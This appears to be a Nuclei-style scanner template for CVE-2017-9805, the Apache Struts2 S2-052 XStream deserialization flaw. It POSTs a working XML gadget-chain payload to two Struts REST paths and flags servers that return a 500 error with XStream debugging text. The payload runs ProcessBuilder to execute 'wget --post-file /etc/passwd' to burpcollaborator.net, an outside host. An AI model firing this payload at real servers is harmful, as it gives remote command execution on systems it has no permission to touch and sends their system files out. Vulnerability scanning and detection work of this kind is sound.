id: CVE-2017-9805

info:
  name: Apache Struts2 S2-052 RCE
  author: pikpikcu
  severity: critical
  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
  reference: |
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
    - https://struts.apache.org/docs/s2-052.html
  tags: cve,cve2017,apache,rce,struts

requests:
  - method: POST
    path:
      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
      - "{{BaseURL}}/orders/3"
    headers:
      Content-Type: application/xml
    body: |
        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                    <is class="javax.crypto.CipherInputStream">
                      <cipher class="javax.crypto.NullCipher">
                        <initialized>false</initialized>
                        <opmode>0</opmode>
                        <serviceIterator class="javax.imageio.spi.FilterIterator">
                          <iter class="javax.imageio.spi.FilterIterator">
                            <iter class="java.util.Collections$EmptyIterator"/>
                            <next class="java.lang.ProcessBuilder">
                              <command>
                                <string>wget</string>
                                <string>--post-file</string>
                                <string>/etc/passwd</string>
                      <string>burpcollaborator.net</string>
                              </command>
                              <redirectErrorStream>false</redirectErrorStream>
                            </next>
                          </iter>
                          <filter class="javax.imageio.ImageIO$ContainsFilter">
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>asdasd</name>
                          </filter>
                          <next class="string">asdasd</next>
                        </serviceIterator>
                        <lock/>
                      </cipher>
                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
                      <ibuffer></ibuffer>
                      <done>false</done>
                      <ostart>0</ostart>
                      <ofinish>0</ofinish>
                      <closed>false</closed>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
          </entry>
          <entry>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          </entry>
        </map>

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Debugging information"
          - "com.thoughtworks.xstream.converters.collections.MapConverter"
        condition: and

      - type: status
        status:
          - 500